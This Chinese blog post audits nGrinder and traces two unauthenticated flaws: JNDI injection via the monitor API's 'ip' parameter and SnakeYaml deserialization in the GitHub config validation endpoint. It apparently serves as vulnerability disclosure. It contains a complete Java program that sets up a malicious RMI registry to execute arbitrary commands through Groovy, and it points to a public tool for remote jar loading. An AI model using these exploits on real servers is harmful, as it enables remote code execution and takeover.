ngrinder代码审计
6right 发表于 浙江 技术文章 1717浏览 · 2024-01-27 02:51

授权分析

ngrinder使用了Spring Security中 PreAuthorize注解 进行权限校验,通过注解就可以了解未授权接口
排除

  • 控制器函数参数包含User实体类时也会进行权限校验
  • StatisticsApiController和UserSignUpApiController是默认不开启的
    可以在剩余的未授权接口中发现以下两个高危漏洞

未授权jndi注入

代码分析

org.ngrinder.agent.controller.MonitorManagerApiController#getRealTimeMonitorData

public SystemDataModel getRealTimeMonitorData(@RequestParam final String ip) throws InterruptedException, ExecutionException, TimeoutException {  
        int port = config.getMonitorPort();  
        Future<SystemInfo> systemInfoFuture = AopUtils.proxy(this).getAsyncSystemInfo(ip, port);  
        SystemInfo systemInfo = checkNotNull(systemInfoFuture.get(2, TimeUnit.SECONDS), "Monitoring data is not available.");  
        return new SystemDataModel(systemInfo, "UNKNOWN");  
    }

从服务配置中获取端口,release中的war包默认为13243,走到org.ngrinder.agent.controller.MonitorManagerApiController#getAsyncSystemInfo

public Future<SystemInfo> getAsyncSystemInfo(String ip, int port) {  
        return new AsyncResult<>(monitorInfoStore.getSystemInfo(ip, port));  
    }

继续跟进org.ngrinder.perftest.service.monitor.MonitorInfoStore#getSystemInfo

public SystemInfo getSystemInfo(String ip, int port) {  
        MonitorClientService monitorClient = monitorClientMap.get(ip);  
        if (monitorClient == null) {  
            monitorClient = new MonitorClientService(ip, port);  
            monitorClient.init();  
            IOUtils.closeQuietly(monitorClientMap.put(ip, monitorClient));  
        }  
        monitorClient.update();  
        monitorClient.setLastAccessedTime(System.currentTimeMillis());  
        return monitorClient.getSystemInfo();  
    }

在这里先判断ip是否存在monitorClientMap中,如果存在就更新,不存在时创建MonitorClientService对象,调用初始化函数,跟到org.ngrinder.perftest.service.monitor.MonitorClientService#init

public void init() {  
        LOGGER.debug("Init MonitorClientService for {}:{}", ip, port);  
        try {  
            mBeanClient = new MBeanClient(ip, port);  
            mBeanClient.connect();  
            LOGGER.debug("Connection finished, isConnected :{}", mBeanClient.isConnected());  
        } catch (IOException e) {  
            LOGGER.info("Monitor Connection Error to {} by {}", ip + ":" + port, e.getMessage());  
        }

创建了MBeanClient对象,初始化时创建了JMXServiceURL对象

并拼接了jmx的URL

再调用connect函数,跟进org.ngrinder.monitor.share.domain.MBeanClient#connect

public void connect() {  
    try {  
        connectClient();  
    } catch (Exception e) {  
        LOGGER.error("Timeout while connecting to {}:{} monitor : {}", jmxUrl.getHost(), jmxUrl.getPort(), e.getMessage());  
    }  
}

在看org.ngrinder.monitor.share.domain.MBeanClient#connectClient

private void connectClient() throws IOException, TimeoutException {  
        if (jmxUrl == null || ("localhost".equals(jmxUrl.getHost()) && jmxUrl.getPort() == 0)) {  
            mbeanServerConnection = ManagementFactory.getPlatformMBeanServer();  
        } else {  
            jmxConnector = connectWithTimeout(jmxUrl, timeout);  
            mbeanServerConnection = jmxConnector.getMBeanServerConnection();  
        }  
        this.connected = true;  
    }

这里只要jmxUrl不为null或者host为localhost和port为0不同时满足,就会走到else中,步进到org.ngrinder.monitor.share.domain.MBeanClient#connectWithTimeout

private JMXConnector connectWithTimeout(final JMXServiceURL jmxUrl, int timeout) throws NGrinderRuntimeException, TimeoutException {  
        try {  
            ExecutorService executor = Executors.newSingleThreadExecutor();  
            Future<JMXConnector> future = executor.submit(() -> JMXConnectorFactory.connect(jmxUrl));  
  
            return future.get(timeout, TimeUnit.MILLISECONDS);  
        } catch (TimeoutException e) {  
            throw e;  
        } catch (Exception e) {  
            throw processException(e);  
        }  
  
    }

这里开了新线程去进行JMX的连接,断点在javax.management.remote.JMXConnectorFactory#connect(javax.management.remote.JMXServiceURL),一路到javax.management.remote.rmi.RMIConnector#findRMIServer

private RMIServer findRMIServer(JMXServiceURL directoryURL,  
            Map<String, Object> environment)  
            throws NamingException, IOException {  
  
        String path = directoryURL.getURLPath();  
        int end = path.indexOf(';');  
        if (end < 0) end = path.length();  
        if (path.startsWith("/jndi/"))  
            return findRMIServerJNDI(path.substring(6,end), environment);  
        else if (path.startsWith("/stub/"))  
            return findRMIServerJRMP(path.substring(6,end), environment);  
        else {  
            final String msg = "URL path must begin with /jndi/ or /stub/ " +  
                    "or /ior/: " + path;  
            throw new MalformedURLException(msg);  
        }  
    }

在这里由于之前拼接的jmx是/jndi/开头成功进入到了javax.management.remote.rmi.RMIConnector#findRMIServerJNDI

private RMIServer findRMIServerJNDI(String jndiURL, Map<String, ?> env)  
            throws NamingException {  
  
        InitialContext ctx = new InitialContext(EnvHelp.mapToHashtable(env));  
  
        Object objref = ctx.lookup(jndiURL);  
        ctx.close();  
  
        return narrowJRMPServer(objref);  
    }

在这里进行了lookup,jndiURL中ip可控,存在jndi注入

高版本利用

且ngrinder环境存在存在tomcat包+groovy包,可以构造恶意rmi绕jdk高版本jdk RMI + JNDI Reference攻击的限制
如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Test {
    public static void main(String args[]) throws Exception{

        int port = Integer.parseInt(args[0]);
        String cmd = args[1];

        Registry registry = LocateRegistry.createRegistry(port);
        System.out.println("Creating evil RMI registry on port "+port);
        System.out.println("The command you want to execute is "+cmd);
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=evaluate"));
        String script = String.format("'%s'.execute()", cmd);
        ref.add(new StringRefAddr("x",script));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("rmi://0.0.0.0:13243/jmxrmi", referenceWrapper);

    }
}

未授权SnakeYaml反序列化

代码分析

检查到org.ngrinder.script.controller.FileEntryApiController#validateGithubConfig不存在权限校验

@PostMapping("/github/validate")  
    public void validateGithubConfig(@RequestBody FileEntry fileEntry) {  
        gitHubFileEntryService.validate(fileEntry);  
    }

跟进到org.ngrinder.script.service.GitHubFileEntryService#validate

public boolean validate(FileEntry gitConfigYaml) {  
        for (GitHubConfig config : getAllGithubConfig(gitConfigYaml)) {  
            ...  
    }

在开始就调用了org.ngrinder.script.service.GitHubFileEntryService#getAllGithubConfig函数

private Set<GitHubConfig> getAllGithubConfig(FileEntry gitConfigYaml) {  
        Set<GitHubConfig> gitHubConfig = new HashSet<>();  
        // Yaml is not thread safe. so create it every time.  
        Yaml yaml = new Yaml();  
        Iterable<Map<String, Object>> gitConfigs = cast(yaml.loadAll(gitConfigYaml.getContent()));  
        for (Map<String, Object> configMap : gitConfigs) {  
            if (configMap == null) {  
                continue;  
            }  
            configMap.put("revision", gitConfigYaml.getRevision());  
            GitHubConfig config = objectMapper.convertValue(configMap, GitHubConfig.class);  
  
            if (gitHubConfig.contains(config)) {  
                throw new InvalidGitHubConfigurationException("GitHub configuration '"  
                    + config.getName() + "' is duplicated.\nPlease check your .gitconfig.yml");  
            }  
  
            gitHubConfig.add(config);  
        }  
        return gitHubConfig;  
    }

可以看到开始初始化了Yaml对象,然后调用了gitConfigYaml(可控的)的getContent方法获取值,Content同样可控

然后调用org.yaml.snakeyaml.Yaml#loadAll(java.io.Reader)将可控值加载后返回一个迭代器

public Iterable<Object> loadAll(Reader yaml) {  
        Composer composer = new Composer(new ParserImpl(new StreamReader(yaml)), resolver);  
        constructor.setComposer(composer);  
        Iterator<Object> result = new Iterator<Object>() {  
            @Override  
            public boolean hasNext() {  
                return constructor.checkData();  
            }  
  
            @Override  
            public Object next() {  
                return constructor.getData();  
            }  
  
            @Override  
            public void remove() {  
                throw new UnsupportedOperationException();  
            }  
        };  
        return new YamlIterable(result);  
    }

在for循环时进入迭代器的next函数:org.yaml.snakeyaml.constructor.BaseConstructor#getData

public Object getData() {  
        // Construct and return the next document.  
        composer.checkNode();  
        Node node = composer.getNode();  
        if (rootTag != null) {  
            node.setTag(rootTag);  
        }  
        return constructDocument(node);  
    }

getData函数和SnakeYaml.load调用栈中org.yaml.snakeyaml.constructor.BaseConstructor#getSingleData类似(将字符串按照yaml语法转为Node对象)

然后判断当前Node是否为空且是否Tag为空,若不是则判断yaml格式数据的类型是否为Object类型、是否有根标签,这里都判断不通过,最后调用constructDocument()

函数最后会走到org.yaml.snakeyaml.constructor.Constructor.ConstructSequence成功对javax.script.ScriptEngineManager进行实例化然后利用SPI机制ServiceLoader去动态加载恶意类,最后在实例化时触发代码执行

漏洞利用

可以利用:https://github.com/artsploit/yaml-payload/
通过ScriptEngineManager使用URL去加载恶意jar包

注:以上漏洞都已提交CNNVD且通过

0 条评论
某人
表情
可输入 255